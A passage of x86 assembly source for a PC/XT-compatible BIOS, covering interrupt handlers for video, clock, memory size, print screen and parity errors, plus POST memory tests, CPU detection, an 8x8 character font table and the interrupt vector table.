ds:4Ah] ; Multiply Row x (Row/Column) mov bh, 0 add ax, bx ; add in existing col shl ax, 1 ; times 2 because 2 bytes/col pop bx ret endp text_rc_col ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Internal: Convert (row, col) coordinates to column count for graphics modes ;--------------------------------------------------------------------------------------------------- proc gfx_rc_col near push bx ; Convert (row, col) -> col mov bl, al ; save column mov al, ah ; get row mul [byte ds:4Ah] ; Multiply by columns/row shl ax, 1 shl ax, 1 mov bh, 0 add ax, bx ; Add in columns pop bx ret endp gfx_rc_col ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Internal: Set 6845 cursor position ;--------------------------------------------------------------------------------------------------- proc set_cursor near shr bl, 1 ; Sets 6845 cursor position cmp [ds:62h], bl ; is this page visible? jnz @@done ; No, do nothing in hardware move_cursor: call text_rc_col ; Map row, col, page to col add ax, [ds:4Eh] ; + byte offset, regen register shr ax, 1 mov cx, ax mov ah, 0Eh ; Tell 6845 video controller ; to position the cursor out_6845: mov al, ch ; Send ch, cl through CRT register ah call send_ax ; send ch inc ah ; increment mov al, cl ; send cl send_ax: push dx mov dx, [ds:63h] ; Load active video port xchg al, ah out dx, al ; Send high order xchg al, ah inc dl out dx, al ; low order pop dx @@done: ret endp set_cursor ;-------------------------------------------------------------------------------------------------- ; Initialize video card ;-------------------------------------------------------------------------------------------------- proc video_init near mov ah, [ds:10h] ; Get equipment byte and ah, 00110000b ; extract CRT mov al, 0 ; null low cmp ah, 00110000b ; Monochrome? jz @@init ; yes mov al, 1 ; CGA 40 x 25? cmp ah, 00010000b ; yes jz @@init ; CGA 80 x 25? mov al, 3 ; yes @@init: mov ah, 0 ; Setup subfunction int 10h ; to video ret endp video_init ;-------------------------------------------------------------------------------------------------- ; PC speaker beep (length in bl) ;-------------------------------------------------------------------------------------------------- proc beep near push ax push cx mov al, 10110110b ; Timer IC 8253 square waves out 43h, al ; channel 2, speaker mov ax, 528h ; Get countdown constant word out 42h, al ; send low order mov al, ah ; load high order out 42h, al ; send high order in al, 61h ; Read IC 8255 machine status push ax or al, 00000011b out 61h, al ; Turn speaker on xor cx, cx @@delay: loop @@delay dec bl jnz @@delay pop ax out 61h, al ; Turn speaker off pop cx pop ax ret endp beep str_mono db 195, ' Mono/Hercules Graphics', 0 str_clock db 195, ' Clock', 0 str_ram_test db 'Testing RAM: K OK', 0 str_error db 'System Error: ', 0 str_parity_err db 'Parity error at: ?????', 0 str_continue db CR, LF, 'Continue? ', 0 ;--------------------------------------------------------------------------------------------------- ; Interrupt 12h - Memory Size ;--------------------------------------------------------------------------------------------------- entry 0F841h ; IBM entry for memory size proc int_12 far sti ; Kbytes of memory present push ds xor ax, ax mov ds, ax mov ax, [ds:413h] ; ax = memory size, kilobytes pop ds iret endp int_12 ;--------------------------------------------------------------------------------------------------- ; Interrupt 11h - Equipment Check ;--------------------------------------------------------------------------------------------------- entry 0F84Dh ; IBM entry for equipment check proc int_11 far sti ; Equipment present push ds xor ax, ax mov ds, ax mov ax, [ds:410h] ; ax = equipment byte contents pop ds iret endp int_11 ;--------------------------------------------------------------------------------------------------- ; Interrupt 15h - Cassette ;--------------------------------------------------------------------------------------------------- entry 0F859h ; IBM entry for cassette interrupt proc int_15 far stc ; Cassette service (error ret) mov ah, 86h retf 2 endp int_15 ;--------------------------------------------------------------------------------------------------- ; Interrupt 2h - Non-Maskable Interrupt ;--------------------------------------------------------------------------------------------------- entry 0F85Fh ; IBM non-maskable interrupt entry proc int_2 far push ax ; Non-maskable interrupt in al, 62h test al, 11000000b ; Get cause of interrupt jnz @@parity ; parity error jmp near @@end ; math coprocessor (?) @@parity: push bx ; Parity error bomb push cx push dx push si push di push bp push ds push es mov ax, 40h ; Load data segment mov ds, ax call video_init ; clear/init screen push ds push cs ; Point ds at ROM pop ds mov si, offset str_parity_err ; si --> Parity message call print ; print pop ds ; restore ds mov ax, 11h ; Back cursor over ? marks call locate ; with call mov al, 0 out 0A0h, al ; disable NMI interrupts mov dx, 61h in al, dx ; Get machine flags or al, 00110000b ; disable parity int out dx, al ; Put out new flags and al, 11001111b ; enable parity int out dx, al ; Put out new flags mov cl, 6 mov bx, [ds:13h] ; Get memory size (K bytes) shl bx, cl inc dx ; now paragraphs xor ax, ax mov ds, ax @@next_para: mov cx, 10h ; Iterations to check xor si, si @@next_byte: mov ah, [si] ; Read the byte (dummy) in al, dx ; and read status test al, 11000000b ; to see what happened jnz @@display_addr ; Read caused parity error inc si ; else advance pointer loop @@next_byte ; and try next byte mov ax, ds inc ax ; next paragraph mov ds, ax cmp ax, bx jnz @@next_para ; More paragraphs to check jmp short @@prompt ; else flakey error @@display_addr: mov [si], ah ; Save offset in paragraph mov ax, ds call double_number ; Print segment mov ax, si call digit ; Print offset @@prompt: mov ax, 16h ; Where to position cursor call locate ; position cursor push ds push cs pop ds mov si, offset str_continue ; Continue ? call print ; ask the user pop ds in al, 21h ; Get interrupt masks push ax ; save them mov al, 11111100b out 21h, al ; Disable all but keyboard sti ; enable interrupt system call get_key ; Get keyboard character push ax ; save it call out_char ; Print ascii character pop ax ; restore cmp al, 'Y' ; User wants to continue? jz @@continue ; continue cmp al, 'y' ; Look for little case "y" jz @@continue ; continue jmp cold_boot ; Retry on cold reboot @@continue: call clear_screen ; Clear display pop ax out 21h, al ; Restore interrupt system state mov dx, 61h ; Dismiss the NMI interrupt in al, dx ; read in machine flags or al, 00110000b out dx, al ; Write out, parity disabled and al, 11001111b ; clears parity error out dx, al ; Write out, parity enabled mov al, 80h out 0A0h, al ; Enable NMI interrupts pop es pop ds pop bp pop di pop si pop dx pop cx pop bx @@end: pop ax iret endp int_2 str_no_fpu db 'No FPU)', 0 ;--------------------------------------------------------------------------------------------------- ; Detect CPU type (8088 or V20) ;--------------------------------------------------------------------------------------------------- proc cpu_check near ; Test for 8088 or V20 CPU xor al, al ; Clean out al to set ZF mov al, 40h ; mul on V20 does not affect the zero flag mul al ; but on an 8088 the zero flag is used jz @@have_v20 ; Was zero flag set? mov si, offset str_8088 ; No, so we have an 8088 CPU ret @@have_v20: mov si, offset str_v20 ; Otherwise we have a V20 CPU ret endp cpu_check ;-------------------------------------------------------------------------------------------------- ; Tests 1K of memory at es:0000 and increments es ;-------------------------------------------------------------------------------------------------- proc mem_test near mov bx, 0200h ; Load bytes to test mov ax, 5555h ifndef NO_MEM_CHECK ifndef FAST_MEM_CHECK @@pattern_1: xor di, di ; Pattern #1 - 55h bytes mov cx, bx rep stosw ; Fill memory, pattern #1 xor di, di mov cx, bx repz scasw ; Scan memory for not pattern #1 jcxz @@pattern_2 stc ; Flunked ret @@pattern_2: xor di, di ; Pattern #2 - AAh bytes mov cx, bx not ax rep stosw ; Fill memory, pattern #2 xor di, di mov cx, bx repz scasw ; Scan memory for not pattern #2 jcxz @@pattern_3 stc ; Flunked ret endif @@pattern_3: xor di, di ; Pattern #3 - FFh bytes mov cx, bx xor ax, ax not ax rep stosw ; Fill memory, pattern #3 xor di, di mov cx, bx repz scasw ; Scan memory for not pattern #3 jcxz @@pattern_4 stc ; Flunked ret endif @@pattern_4: xor di, di ; Pattern #4 - 00h bytes mov cx, bx xor ax, ax rep stosw ; Fill memory,pattern #4 ifndef NO_MEM_CHECK xor di, di mov cx, bx repz scasw ; Scan memory for not pattern #4 jcxz @@done stc ; Flunked ret endif @@done: mov ax, es add ax, 40h ; Add 40h to segment number mov es, ax ret ; Passed endp mem_test ;---------------------------------------------------------------- ; EXPANSION I/O BOX TEST : ; CHECK TO SEE IF EXPANSION BOX PRESENT - IF INSTALLED, : ; TEST DATA AND ADDRESS BUSES TO I/O BOX : ; ERROR='1801' : ;---------------------------------------------------------------- ifdef ENABLE_EXPANSION proc expansion_check near push bx ;----- DETERMINE IF BOX IS PRESENT (CARD WAS ENABLED EARLIER) mov dx, 0210h ; CONTROL PORT ADDRESS mov ax, 5555h ; SET DATA PATTERN out dx, al mov al, 01h in al, dx ; RECOVER DATA cmp al, ah ; REPLY? jmp @@notexist ; NO RESPONSE. GO TO NEXT TEST not ax ; MAKE DATA=AAAA out dx, al mov al, 01h in al, dx ; RECOVER DATA cmp al, ah jmp @@end ; NO ANSWER=NEXT TEST ;----- CHECK ADDRESS BUS mov bx, 0001h mov dx, 0215h ; LOAD HI. ADDR REG ADDRESS mov cx, 0016 ; GO ACROSS 16 BITS @@exp1: mov cs:[bx], al ; WRITE ADDRESS F0000+BX nop in al, dx ; READ ADDR. HIGH cmp al, bh jne @@notexist ; GO ERROR IF MISCOMPARE inc dx ; DX-216H (ADDR. LOW REG) in al, dx cmp al, bl ; COMPARE TO LOW ADDRESS jne @@notexist dec dx ; DX BACK TO 215H shl bx, 1 loop @@exp1 ; LOOP TILL '1' WALKS ACROSS BX ;----- CHECK DATA BUS mov cx, 0008 ; DO 8 TIMES mov al, 01 dec dx ; MAKE DX=214H (DATA BUS REG) @@exp2: mov ah, al ; SAVE DATA BUS VALUE out dx, al ; SEND VALUE TO REG mov al, 01h in al, dx ; RETRIVE VALUE FROM REG cmp al, ah ; = TO SAVED VALUE jne short @@notexist shl al, 1 ; FORM NEW DATA PATTERN loop @@exp2 ; LOOP TILL BIT WALKS ACROSS AL ; Expansion unit attached pop bx mov ax, bx call locate ; Locate cursor mov si, offset str_exp_present call print inc bh jmp @@end @@notexist: pop bx ret @@end: ret endp expansion_check endif ;-------------------------------------------------------------------------------------------------- ; Slows the system clock rate while accessing the floppy drive ;-------------------------------------------------------------------------------------------------- ifdef SLOW_FLOPPY ; Run floppy at SLOWEST speed proc floppy_speed near in al, 61h ; Toggle speed on Floppy Disk push ax ; save old clock rate and al, 11110011b ; load slowest clock rate out 61h, al ; slow down to 4.77 mHz call floppy_exec ; Execute the I/O request pop ax ; restore old clock rate out 61h, al ; from saved clock byte ret endp floppy_speed endif ;--------------------------------------------------------------------------------------------------- ; Toggles TURBO speed and sounds high/low blip on the PC speaker to indicate current speed ;--------------------------------------------------------------------------------------------------- ifdef TURBO_ENABLED ifdef TURBO_HOTKEY proc toggle_turbo near push ax push bx push cx in al, 61h ; Read equipment flags xor al, 00001100b ; toggle speed out 61h, al ; Write new flags back mov bx, 0F89h ; low pitch blip and al, 4 ; Is turbo mode set? jz @@do_beep mov bx, 52Eh ; high pitch blip @@do_beep: mov al, 10110110b ; Timer IC 8253 square waves out 43h, al ; channel 2, speaker mov ax, bx out 42h, al ; send low order mov al, ah ; load high order out 42h, al ; send high order in al, 61h ; Read IC 8255 machine status push ax or al, 00000011b out 61h, al ; Turn speaker on mov cx, 2000h @@delay: loop @@delay pop ax out 61h, al ; Turn speaker off pop cx pop bx pop ax ret endp toggle_turbo endif endif ;-------------------------------------------------------------------------------------------------- ; Delay number of clock ticks in bx, unless a key is pressed first (return ASCII code in al) ;-------------------------------------------------------------------------------------------------- proc delay_keypress near sti ; Enable interrupts so timer can run add bx, [es:46Ch] ; Add pause ticks to current timer ticks ; (0000:046C = 0040:006C) @@delay: mov ah, 01h int 16h ; Check for keypress jnz @@keypress ; End pause if key pressed mov cx, [es:46Ch] ; Get current ticks sub cx, bx ; See if pause is up yet jc @@delay ; Nope @@done: cli ; Disable interrupts ret @@keypress: xor ah, ah int 16h ; Flush keystroke from buffer jmp short @@done endp delay_keypress ;--------------------------------------------------------------------------------------------------- ; Clear display screen ;--------------------------------------------------------------------------------------------------- proc clear_screen near mov dx, 184Fh ; Lower right corner of scroll xor cx, cx ; Upper left corner of scroll mov ax, 600h ; Blank entire window mov bh, 7 ; Set regular cursor int 10h ; Call video service scroll mov ah, 2 ; Set cursor position xor dx, dx ; upper left corner mov bh, 0 ; page 0 int 10h ; call video service mov ax, 500h ; Set active display page zero int 10h ret endp clear_screen ;*************************************************************************************************** ; Free ROM Space Here ; ; 49 bytes ; +34 bytes with FAST_MEM_CHECK enabled, or +64 bytes with NO_MEM_CHECK enabled ; +14 bytes with SLOW_FLOPPY disabled ; +50 bytes with TURBO_HOTKEY disabled ; +28 bytes with TITLE_BAR_FADE disabled ;*************************************************************************************************** ifdef ENABLE_EXPANSION str_exp_present db 195, ' Expansion Unit', 0 endif ;--------------------------------------------------------------------------------------------------- ; 8x8 Graphics Character Set (chars 0-127) ;--------------------------------------------------------------------------------------------------- entry 0FA6Eh ; IBM graphics character set entry gfx_chars db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ; 0 nul db 07Eh, 081h, 0A5h, 081h, 0BDh, 099h, 081h, 07Eh ; 1 soh db 07Eh, 0FFh, 0DBh, 0FFh, 0C3h, 0E7h, 0FFh, 07Eh ; 2 stx db 06Ch, 0FEh, 0FEh, 0FEh, 07Ch, 038h, 010h, 000h ; 3 etx db 010h, 038h, 07Ch, 0FEh, 07Ch, 038h, 010h, 000h ; 4 eot db 038h, 07Ch, 038h, 0FEh, 0FEh, 07Ch, 038h, 07Ch ; 5 enq db 010h, 010h, 038h, 07Ch, 0FEh, 07Ch, 038h, 07Ch ; 6 ack db 000h, 000h, 018h, 03Ch, 03Ch, 018h, 000h, 000h ; 7 bel db 0FFh, 0FFh, 0E7h, 0C3h, 0C3h, 0E7h, 0FFh, 0FFh ; 8 bs db 000h, 03Ch, 066h, 042h, 042h, 066h, 03Ch, 000h ; 9 ht db 0FFh, 0C3h, 099h, 0BDh, 0BDh, 099h, 0C3h, 0FFh ; 10 lf db 00Fh, 007h, 00Fh, 07Dh, 0CCh, 0CCh, 0CCh, 078h ; 11 vt db 03Ch, 066h, 066h, 066h, 03Ch, 018h, 07Eh, 018h ; 12 ff db 03Fh, 033h, 03Fh, 030h, 030h, 070h, 0F0h, 0E0h ; 13 cr db 07Fh, 063h, 07Fh, 063h, 063h, 067h, 0E6h, 0C0h ; 14 so db 099h, 05Ah, 03Ch, 0E7h, 0E7h, 03Ch, 05Ah, 099h ; 15 si db 080h, 0E0h, 0F8h, 0FEh, 0F8h, 0E0h, 080h, 000h ; 16 dle db 002h, 00Eh, 03Eh, 0FEh, 03Eh, 00Eh, 002h, 000h ; 17 dc1 db 018h, 03Ch, 07Eh, 018h, 018h, 07Eh, 03Ch, 018h ; 18 dc2 db 066h, 066h, 066h, 066h, 066h, 000h, 066h, 000h ; 19 dc3 db 07Fh, 0DBh, 0DBh, 07Bh, 01Bh, 01Bh, 01Bh, 000h ; 20 dc4 db 03Eh, 063h, 038h, 06Ch, 06Ch, 038h, 0CCh, 078h ; 21 nak db 000h, 000h, 000h, 000h, 07Eh, 07Eh, 07Eh, 000h ; 22 syn db 018h, 03Ch, 07Eh, 018h, 07Eh, 03Ch, 018h, 0FFh ; 23 etb db 018h, 03Ch, 07Eh, 018h, 018h, 018h, 018h, 000h ; 24 can db 018h, 018h, 018h, 018h, 07Eh, 03Ch, 018h, 000h ; 25 em db 000h, 018h, 00Ch, 0FEh, 00Ch, 018h, 000h, 000h ; 26 sub db 000h, 030h, 060h, 0FEh, 060h, 030h, 000h, 000h ; 27 esc db 000h, 000h, 0C0h, 0C0h, 0C0h, 0FEh, 000h, 000h ; 28 fs db 000h, 024h, 066h, 0FFh, 066h, 024h, 000h, 000h ; 29 gs db 000h, 018h, 03Ch, 07Eh, 0FFh, 0FFh, 000h, 000h ; 30 rs db 000h, 0FFh, 0FFh, 07Eh, 03Ch, 018h, 000h, 000h ; 31 us db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ; 32 space db 030h, 078h, 078h, 030h, 030h, 000h, 030h, 000h ; 33 ! db 06Ch, 06Ch, 06Ch, 000h, 000h, 000h, 000h, 000h ; 34 " db 06Ch, 06Ch, 0FEh, 06Ch, 0FEh, 06Ch, 06Ch, 000h ; 35 # db 030h, 07Ch, 0C0h, 078h, 00Ch, 0F8h, 030h, 000h ; 36 $ db 000h, 0C6h, 0CCh, 018h, 030h, 066h, 0C6h, 000h ; 37 % db 038h, 06Ch, 038h, 076h, 0DCh, 0CCh, 076h, 000h ; 38 & db 060h, 060h, 0C0h, 000h, 000h, 000h, 000h, 000h ; 39 ' db 018h, 030h, 060h, 060h, 060h, 030h, 018h, 000h ; 40 ( db 060h, 030h, 018h, 018h, 018h, 030h, 060h, 000h ; 41 ) db 000h, 066h, 03Ch, 0FFh, 03Ch, 066h, 000h, 000h ; 42 * db 000h, 030h, 030h, 0FCh, 030h, 030h, 000h, 000h ; 43 + db 000h, 000h, 000h, 000h, 000h, 030h, 030h, 060h ; 44 , db 000h, 000h, 000h, 0FCh, 000h, 000h, 000h, 000h ; 45 - db 000h, 000h, 000h, 000h, 000h, 030h, 030h, 000h ; 46 . db 006h, 00Ch, 018h, 030h, 060h, 0C0h, 080h, 000h ; 47 / db 07Ch, 0C6h, 0CEh, 0DEh, 0F6h, 0E6h, 07Ch, 000h ; 48 0 db 030h, 070h, 030h, 030h, 030h, 030h, 0FCh, 000h ; 49 1 db 078h, 0CCh, 00Ch, 038h, 060h, 0CCh, 0FCh, 000h ; 50 2 db 078h, 0CCh, 00Ch, 038h, 00Ch, 0CCh, 078h, 000h ; 51 3 db 01Ch, 03Ch, 06Ch, 0CCh, 0FEh, 00Ch, 01Eh, 000h ; 52 4 db 0FCh, 0C0h, 0F8h, 00Ch, 00Ch, 0CCh, 078h, 000h ; 53 5 db 038h, 060h, 0C0h, 0F8h, 0CCh, 0CCh, 078h, 000h ; 54 6 db 0FCh, 0CCh, 00Ch, 018h, 030h, 030h, 030h, 000h ; 55 7 db 078h, 0CCh, 0CCh, 078h, 0CCh, 0CCh, 078h, 000h ; 56 8 db 078h, 0CCh, 0CCh, 07Ch, 00Ch, 018h, 070h, 000h ; 57 9 db 000h, 030h, 030h, 000h, 000h, 030h, 030h, 000h ; 58 : db 000h, 030h, 030h, 000h, 000h, 030h, 030h, 060h ; 59 ; db 018h, 030h, 060h, 0C0h, 060h, 030h, 018h, 000h ; 60 < db 000h, 000h, 0FCh, 000h, 000h, 0FCh, 000h, 000h ; 61 = db 060h, 030h, 018h, 00Ch, 018h, 030h, 060h, 000h ; 62 > db 078h, 0CCh, 00Ch, 018h, 030h, 000h, 030h, 000h ; 63 ? db 07Ch, 0C6h, 0DEh, 0DEh, 0DEh, 0C0h, 078h, 000h ; 64 @ db 030h, 078h, 0CCh, 0CCh, 0FCh, 0CCh, 0CCh, 000h ; 65 A db 0FCh, 066h, 066h, 07Ch, 066h, 066h, 0FCh, 000h ; 66 B db 03Ch, 066h, 0C0h, 0C0h, 0C0h, 066h, 03Ch, 000h ; 67 C db 0F8h, 06Ch, 066h, 066h, 066h, 06Ch, 0F8h, 000h ; 68 D db 0FEh, 062h, 068h, 078h, 068h, 062h, 0FEh, 000h ; 69 E db 0FEh, 062h, 068h, 078h, 068h, 060h, 0F0h, 000h ; 70 F db 03Ch, 066h, 0C0h, 0C0h, 0CEh, 066h, 03Eh, 000h ; 71 G db 0CCh, 0CCh, 0CCh, 0FCh, 0CCh, 0CCh, 0CCh, 000h ; 72 H db 078h, 030h, 030h, 030h, 030h, 030h, 078h, 000h ; 73 I db 01Eh, 00Ch, 00Ch, 00Ch, 0CCh, 0CCh, 078h, 000h ; 74 J db 0E6h, 066h, 06Ch, 078h, 06Ch, 066h, 0E6h, 000h ; 75 K db 0F0h, 060h, 060h, 060h, 062h, 066h, 0FEh, 000h ; 76 L db 0C6h, 0EEh, 0FEh, 0FEh, 0D6h, 0C6h, 0C6h, 000h ; 77 M db 0C6h, 0E6h, 0F6h, 0DEh, 0CEh, 0C6h, 0C6h, 000h ; 78 N db 038h, 06Ch, 0C6h, 0C6h, 0C6h, 06Ch, 038h, 000h ; 79 O db 0FCh, 066h, 066h, 07Ch, 060h, 060h, 0F0h, 000h ; 80 P db 078h, 0CCh, 0CCh, 0CCh, 0DCh, 078h, 01Ch, 000h ; 81 Q db 0FCh, 066h, 066h, 07Ch, 06Ch, 066h, 0E6h, 000h ; 82 R db 078h, 0CCh, 0E0h, 070h, 01Ch, 0CCh, 078h, 000h ; 83 S db 0FCh, 0B4h, 030h, 030h, 030h, 030h, 078h, 000h ; 84 T db 0CCh, 0CCh, 0CCh, 0CCh, 0CCh, 0CCh, 0FCh, 000h ; 85 U db 0CCh, 0CCh, 0CCh, 0CCh, 0CCH, 078h, 030h, 000h ; 86 V db 0C6h, 0C6h, 0C6h, 0D6h, 0FEh, 0EEh, 0C6h, 000h ; 87 W db 0C6h, 0C6h, 06Ch, 038h, 038h, 06Ch, 0C6h, 000h ; 88 X db 0CCh, 0CCh, 0CCh, 078h, 030h, 030h, 078h, 000h ; 89 Y db 0FEh, 0C6h, 08Ch, 018h, 032h, 066h, 0FEh, 000h ; 90 Z db 078h, 060h, 060h, 060h, 060h, 060h, 078h, 000h ; 91 [ db 0C0h, 060h, 030h, 018h, 00Ch, 006h, 002h, 000h ; 92 backslash db 078h, 018h, 018h, 018h, 018h, 018h, 078h, 000h ; 93 ] db 010h, 038h, 06Ch, 0C6h, 000h, 000h, 000h, 000h ; 94 ^ db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0FFh ; 95 _ db 030h, 030h, 018h, 000h, 000h, 000h, 000h, 000h ; 96 ` db 000h, 000h, 078h, 00Ch, 07Ch, 0CCh, 076h, 000h ; 97 a db 0E0h, 060h, 060h, 07Ch, 066h, 066h, 0DCh, 000h ; 98 b db 000h, 000h, 078h, 0CCh, 0C0h, 0CCh, 078h, 000h ; 99 c db 01Ch, 00Ch, 00Ch, 07Ch, 0CCh, 0CCh, 076h, 000h ; 100 d db 000h, 000h, 078h, 0CCh, 0FCh, 0C0h, 078h, 000h ; 101 e db 038h, 06Ch, 060h, 0F0h, 060h, 060h, 0F0h, 000h ; 102 f db 000h, 000h, 076h, 0CCh, 0CCh, 07Ch, 00Ch, 0F8h ; 103 g db 0E0h, 060h, 06Ch, 076h, 066h, 066h, 0E6h, 000h ; 104 h db 030h, 000h, 070h, 030h, 030h, 030h, 078h, 000h ; 105 i db 00Ch, 000h, 00Ch, 00Ch, 00Ch, 0CCh, 0CCh, 078h ; 106 j db 0E0h, 060h, 066h, 06Ch, 078h, 06Ch, 0E6h, 000h ; 107 k db 070h, 030h, 030h, 030h, 030h, 030h, 078h, 000h ; 108 l db 000h, 000h, 0CCh, 0FEh, 0FEh, 0D6h, 0C6h, 000h ; 109 m db 000h, 000h, 0F8h, 0CCh, 0CCh, 0CCh, 0CCh, 000h ; 110 n db 000h, 000h, 078h, 0CCh, 0CCh, 0CCh, 078h, 000h ; 111 o db 000h, 000h, 0DCh, 066h, 066h, 07Ch, 060h, 0F0h ; 112 p db 000h, 000h, 076h, 0CCh, 0CCh, 07Ch, 00Ch, 01Eh ; 113 q db 000h, 000h, 0DCh, 076h, 066h, 060h, 0F0h, 000h ; 114 r db 000h, 000h, 07Ch, 0C0h, 078h, 00Ch, 0F8h, 000h ; 115 s db 010h, 030h, 07Ch, 030h, 030h, 034h, 018h, 000h ; 116 t db 000h, 000h, 0CCh, 0CCh, 0CCh, 0CCh, 076h, 000h ; 117 u db 000h, 000h, 0CCh, 0CCh, 0CCh, 078h, 030h, 000h ; 118 v db 000h, 000h, 0C6h, 0D6h, 0FEh, 0FEh, 06Ch, 000h ; 119 w db 000h, 000h, 0C6h, 06Ch, 038h, 06Ch, 0C6h, 000h ; 120 x db 000h, 000h, 0CCh, 0CCh, 0CCh, 07Ch, 00Ch, 0F8h ; 121 y db 000h, 000h, 0FCh, 098h, 030h, 064h, 0FCh, 000h ; 122 z db 01Ch, 030h, 030h, 0E0h, 030h, 030h, 01Ch, 000h ; 123 { db 018h, 018h, 018h, 000h, 018h, 018h, 018h, 000h ; 124 | db 0E0h, 030h, 030h, 01Ch, 030h, 030h, 0E0h, 000h ; 125 } db 076h, 0DCh, 000h, 000h, 000h, 000h, 000h, 000h ; 126 ~ db 000h, 010h, 038h, 06Ch, 0C6h, 0C6h, 0FEh, 000h ; 127 del ;--------------------------------------------------------------------------------------------------- ; Interrupt 1Ah - Time Of Day Clock ;--------------------------------------------------------------------------------------------------- entry 0FE6Eh ; IBM entry, time_of_day clock proc int_1A far sti ; User time_of_day BIOS service push ds push ax xor ax, ax mov ds, ax pop ax ; Get request type cli ; pause clock or ah, ah jz @@read ; Read time, ah=0 dec ah jnz @@end ; invalid request @@set: mov [ds:46Ch], dx ; Set time, ah=1 mov [ds:46Eh], cx ; set time high mov [byte ds:470h], ah ; not a new day jmp short @@end @@read: mov cx, [ds:46Eh] ; Read low order time mov dx, [ds:46Ch] ; high order time call near @@reset ; Read resets overflow @@end: sti ; Resume clock pop ds iret @@reset: mov al, [ds:470h] ; Zero the overflow and return xor [ds:470h], al ; previous status in flags retn endp int_1A str_h db 'h', 0 ;--------------------------------------------------------------------------------------------------- ; Interrupt 8h - Hardware Clock ;--------------------------------------------------------------------------------------------------- entry 0FEA5h ; IBM entry, hardware clock proc int_8 far sti ; Routine services clock tick push ds push dx push ax xor ax, ax mov ds, ax dec [byte ds:440h] ; Decrement motor count jnz @@increment ; not time to shut off and [byte ds:43Fh], 11110000b ; Else show motor off mov al, 0Ch ; send motor off mov dx, 3F2h ; to the floppy out dx, al ; disk controller @@increment: inc [word ds:46Ch] ; Bump low order time of day jnz @@check_midnight ; no carry inc [word ds:46Eh] ; Bump high order time of day @@check_midnight: cmp [word ds:46Eh], 18h ; Is it midnight yet? jnz @@user ; no cmp [word ds:46Ch], 0B0h ; Possibly, check low order jnz @@user ; not midnight xor ax, ax mov [word ds:46Eh], ax ; Midnight, reset high order mov [word ds:46Ch], ax ; low order ticks mov [byte ds:470h], 1 ; Show new day since last read @@user: int 1Ch ; Execute user clock service mov al, 20h ; send end_of_interrupt out 20h, al ; to 8259 interrupt chip pop ax pop dx pop ds iret endp int_8 ;-------------------------------------------------------------------------------------------------- ; Waits for a keypress and then returns it (ah=scan code, al=ASCII) ;-------------------------------------------------------------------------------------------------- proc get_key near mov ah, 0 ; Read keyboard key int 16h ret endp get_key ;--------------------------------------------------------------------------------------------------- ; Interrupt Vectors ;--------------------------------------------------------------------------------------------------- entry 0FEF3h ; IBM entry, interrupt vector table vectors dw int_8 ; Timer tick dw int_9 ; Keyboard attention dw ignore_int ; Reserved dw ignore_int ; Reserved for COM2 serial I/O dw ignore_int ; Reserved for COM1 serial I/O dw ignore_int ; Reserved for hard disk attention dw int_E ; Floppy disk attention dw ignore_int ; Reserved for parallel printer dw int_10 ; Video BIOS services dw int_11 ; Equipment present dw int_12 ; Memory present dw int_13 ; Disk BIOS services dw int_14 ; Serial communication services dw int_15 ; Cassette BIOS services dw int_16_entry ; Keyboard BIOS services dw int_17 ; Parallel printer services dw ignore_int ; ROM Basic (setup later) dw int_19 ; Bootstrap dw int_1A ; Timer BIOS services dw dummy_int ; Keyboard break user service dw dummy_int ; System tick user service dw int_1D ; Video parameter table dw int_1E ; Disk parameter table dw ? ; Graphic character table pointer ;--------------------------------------------------------------------------------------------------- ; Unexpected Interrupt ;--------------------------------------------------------------------------------------------------- entry 0FF23h ; IBM entry, nonsense interrupt proc ignore_int far push ds ; Unexpected interrupts go here push dx push ax xor ax, ax mov ds, ax mov al, 0Bh ; What IRQ caused this? out 20h, al nop in al, 20h ; (read IRQ level) mov ah, al or al, al jnz @@hardware mov al, 0FFh ; Not hardware, say 0FFh IRQ jmp short @@done @@hardware: in al, 21h ; Clear the IRQ or al, ah out 21h, al mov al, 20h ; Send end_of_interrupt code out 20h, al ; to 8259 interrupt chip @@done: mov [ds:46Bh], ah ; Save last nonsense interrupt pop ax pop dx pop ds iret endp ignore_int lpt_ports dw 03BCh, 0378h, 0278h ; Possible line printer ports ;--------------------------------------------------------------------------------------------------- ; Dummy Interrupt ;--------------------------------------------------------------------------------------------------- entry 0FF53h ; IBM entry, dummy interrupts proc dummy_int far ;int_1B: ; Keyboard break user service ;int_1C: ; Clock tick user service iret endp dummy_int ;--------------------------------------------------------------------------------------------------- ; Interrupt 5h - Print Screen ;--------------------------------------------------------------------------------------------------- entry 0FF54h ; IBM entry, print screen proc int_5 far ; Print screen service sti push ds push ax push bx push cx push dx xor ax, ax mov ds, ax cmp [byte ds:500h], 1 ; Print screen in progress? jz @@done ; yes, ignore mov [byte ds:500h], 1 ; Flag print screen in progress call print_cr_lf ; begin new line mov ah, 0Fh int 10h ; Get current video state push ax ; save it mov ah, 3 int 10h ; Read cursor position pop ax ; retrieve video state push dx ; save cursor position mov ch, 19h ; Do 25 rows mov cl, ah ; columns in current mode xor dx, dx ; Start printing from (0, 0) @@loop: mov ah, 2 ; Set cursor to position int 10h mov ah, 8 ; and read character int 10h or al, al ; Nulls are special case jnz @@print_char mov al, ' ' ; convert to spaces @@print_char: push dx xor dx, dx mov ah, dl ; Function = Print character int 17h pop dx test ah, 00100101b ; Successful print jz @@next_char mov [byte ds:500h], 0FFh ; No, error in Print Screen jmp short @@restore_cursor @@next_char: inc dl ; Increment column count cmp cl, dl jnz @@loop ; in range, continue mov dl, 0 call print_cr_lf ; Else print new line inc dh ; add another row cmp dh, ch ; Done all 25 rows? jnz @@loop ; no, continue mov [byte ds:500h], 0 ; Show done Print Screen OK @@restore_cursor: pop dx ; Get saved cursor position mov ah, 2 int 10h ; restore it @@done: pop dx pop cx pop bx pop ax pop ds iret endp int_5 str_system db 'System ', 194, ' ', 0 ;-------------------------------------------------------------------------------------------------- ; Prints CR+LF on the printer ;-------------------------------------------------------------------------------------------------- entry 0FFCBh ; IBM entry, print CR+LF proc print_cr_lf near push dx ; Print CR+LF, on line printer xor dx, dx mov ah, dl ; Function = print mov al, LF ; LF int 17h mov ah, 0 mov al, CR ; CR int 17h pop dx ret endp print_cr_lf str_v20 db 'V20 CPU (', 0 str_8087 db '8087 FPU)', 0 ;-------------------------------------------------------------------------------------------------- ; Power-On Entry Point ;-------------------------------------------------------------------------------------------------- entry 0FFF0h ; Hardware power reset entry proc power far ; CPU begins here on power up jmpfar 0F000h, 